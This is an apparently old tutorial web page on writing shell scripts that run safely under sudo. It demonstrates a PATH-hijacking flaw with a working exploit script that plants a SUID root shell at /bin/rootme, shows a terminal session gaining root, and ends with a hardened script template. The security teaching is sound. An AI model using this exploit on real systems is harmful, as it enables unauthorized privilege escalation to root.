

Sudo Secure Scripting

A page about making sudo scripts that don't break immediately.

The purpose of this page is

- to show beginners the basics of a shell script that can be executed securely with sudo
- This page is not a complete run through of security issues with Sudo - only how to create a template for scripts that can be run with Sudo.

Sudo allows fine-grained access to running commands as super user or somebody else, without giving the password for those accounts. Sudo is recommended in all places where you want people to be able to perform some operation as another user, but you won't trust them with the password for those users.

I use Sudo extensively and by using Sudo you can create a 14-character mixed case/numbers/symbols password for root and only use that in extreme cases and single-user mode. Sudo is a very nice tool and I recommend it for all UNIX systems.

Sudo information

Sudo is included in some major UNIX variants, such as OpenBSD, Mac OS X and most Linux distributions. If you want to install Sudo consult your UNIX vendor, they or somebody else have probably made a package for easy installation.

The home page for the program is <http://www.gratisoft.us/sudo/> and you can even donate money - I did.

One thing to note is that Sudo has got some security vulnerabilities, which have been fixed - so please check your version of sudo. OpenBSD 4.0-ish systems has:

```
$ sudo -V
Sudo version 1.6.8p9
```

The primary configuration file for Sudo is /etc/sudoers and you should only update that using the command visudo.

Configuring Sudo is not that hard and you can easily make entries that allow the webadministrator to start, stop and restart Apache.

Subverting Sudo

Making a program such as Sudo is hard - damn hard. Cudos to the authors and contributors!

Unfortunately security is often not about getting it right in the first place, since the world around something like Sudo might change.

One case that Sudo couldn't protect against is if people can change the search path for dynamic libraries - by making a rogue dynamic library, including it before the real libraries and starting Sudo. Then Sudo would ask the linker for some functionality, and get the bad dynamic library - because that is how the linker works.

I would recommend that you read the manual page for Sudo and follow the advise, for instance the Sudo binary could be compiled statically to avoid problems caused by dynamic libraries.

Insecure scripts and Sudo

I will now show a common mistake which can compromise the server, insecure scripts that when run with Sudo can result in easy elevation of privileges.

I have made a small insecure PATH demo program which really doesn't do much - it only uses the uname command, whats wrong with that?

```
#!/bin/sh
# insecure shell script without explicit PATH
# when executed with sudo it can be subverted, so
# always specify PATH in ALL scripts
echo "I am a script that can be subverted"
# debugging enable this to see the things "go wrong"
#echo "PATH is $PATH"
#echo "I will use uname command from this path:"
#which uname
# the vulnerable code
echo "Running on operating system:"
uname
```

Often scripts executed with Sudo checks some basic things before doing actual work. Calling uname can be used to create a script that can be run on both AIX, OpenBSD and Mac OS X. The problem is that the above script does not always get the real /usr/bin/uname command.

If a malicious minded individual creates a script called uname and updates the PATH environment variable before calling this insecure script with Sudo he might get lucky and his uname command (script) is executed as root!

```
Script started on Fri Jan 19 13:24:18 2007
$ uname;date
Darwin
Fri Jan 19 13:24:21 CET 2007
$ ls -l /tmp/uname /bin/rootme
ls: /bin/rootme: No such file or directory
ls: /tmp/uname: No such file or directory
// normal usage, could be something else than sudo, crontab for root
```

Default Publication

```
etc.
$ sudo ./path-demo.sh
I am a script that can be subverted
Running on operating system:
Darwin
$ echo $PATH
/usr/local/bin:/usr/local/sbin:/usr/local/apache2/bin:/bin:/sbin:/usr/bin:/usr/sbin:
// evil usage, we put a nice PATH and an exploit program in place
$ cp path-demo-exploit.sh /tmp/uname;chmod +x /tmp/uname
$ export PATH=/tmp:$PATH
$ sudo ./path-demo.sh
I am a script that can be subverted
Running on operating system:
UNIX
$ ls -l /bin/rootme
-r-sr-sr-x 1 root wheel 896720 Jan 19 13:25 /bin/rootme
$ /bin/rootme
# id
uid=6000(hlk) gid=501(hlk) euid=0(root) egid=0(wheel) groups=0(wheel),
81(appserveradm), 79(appserverusr), 80(admin)
# echo note effective uid is now 0
note effective uid is now 0
#
// ctrl-d pressed
$
Script done on Fri Jan 19 13:25:57 2007
```

The attacker now has a SUID root shell lying in /bin/rootme and has full super user access to this server :-)

As you can see it wasn't hard at all and not the fault of Sudo, but the fault of the author of the insecure script. I will now present a template for a more secure script that can be run safely with sudo.

My exploit script uses ksh - which might exist on your system.

Note that if you try this on Linux which uses BASH as /bin/sh. The BASH authors have decided that if BASH is run this way it drops privileges, which is good for security - but it breaks this example :-). So use another shell such as ksh or zsh when trying this on Linux.

```
#!/bin/sh
# this is a small exploit proof for exploiting path-demo.sh
# can be used on scripts which are executed by higher privileges
# for example using sudo, when the scripts does NOT include
# a specific (and good PATH)
# Usage:
# copy this to name of a command called from vulnerable
# script, for instance in the path-demo.sh uname is used
# cp path-demo-exploit.sh /tmp/uname;chmod +x /tmp/uname
# then exploit using:
#   export PATH=/tmp:$PATH
#   ./path-demo-exploit
# the vulnerable script would then execute this script
# leaving a SUID root shell in /tmp
# Note: if using BASH it will drop privileges and NOT
# work, try using ksh or zsh below :-)
cp /bin/ksh /bin/rootme
chown root /bin/rootme
chmod +s /bin/rootme
echo "UNIX"
```

The files above can be downloaded from:

<http://www.kramse.dk/files/projects/unix/path-demo/>

Making a secure script

So how do we fix this?

Writing secure code is not easy, but some rules we are going to apply to this specific scripting exercise are:

- Dont trust input - Sudo actually sanitizes much of the environment and you can fine tune that further
- Dont rely on the PATH of the user - Sudo removes the dot . from PATH, but doesn't change it - unless you tune it to do exactly that. That might be better in some environments, better than relying on script programmers
- Be carefull which commands the user can run, allowing the user to run sudo vi essentially gives them a root shell, since VI includes a shell escape feature
- and dont trust input! ;-)

```
#!/bin/sh -
#
# This script is a template for use with Sudo
#
# Usage:
# copy this script and make changes as necessary to PATH and umask
# you should also update description above and this usage note
# note that you should also probably make this owner root.wheel mode 755
# secure PATH - make sure untrusted users cannot add programs here
PATH=/bin:/usr/bin:/sbin:/usr/sbin
umask 077
# This template does not require arguments, but yours might
#if [ $# -ne 1 ]; then
#   echo "do something template, need a parameter! "
#   echo "Usage: $0 target"
#   echo "example $0 10.1.2.3"
#   exit -1
#fi
echo this script is better
uname
```

This script is actually modelled after the scripts found on OpenBSD.

Further problems

Note that sometimes you cannot guess in advance what will cause a problem, so always be alert for changes that shouldn't happen. I noted earlier that with Sudo you could allow web administrators to restart Apache, but if they can also change the Apache configuration they can subvert your security anyway - by making Apache run as root and install some CGI program they can run afterwards.

References

Default Publication

Buy the book *Classic Shell Scripting* from O'Reilly

Buy the book *19 Deadly Sins of Software Programming*

Read sources on secure programming for the programming languages and environments that you use.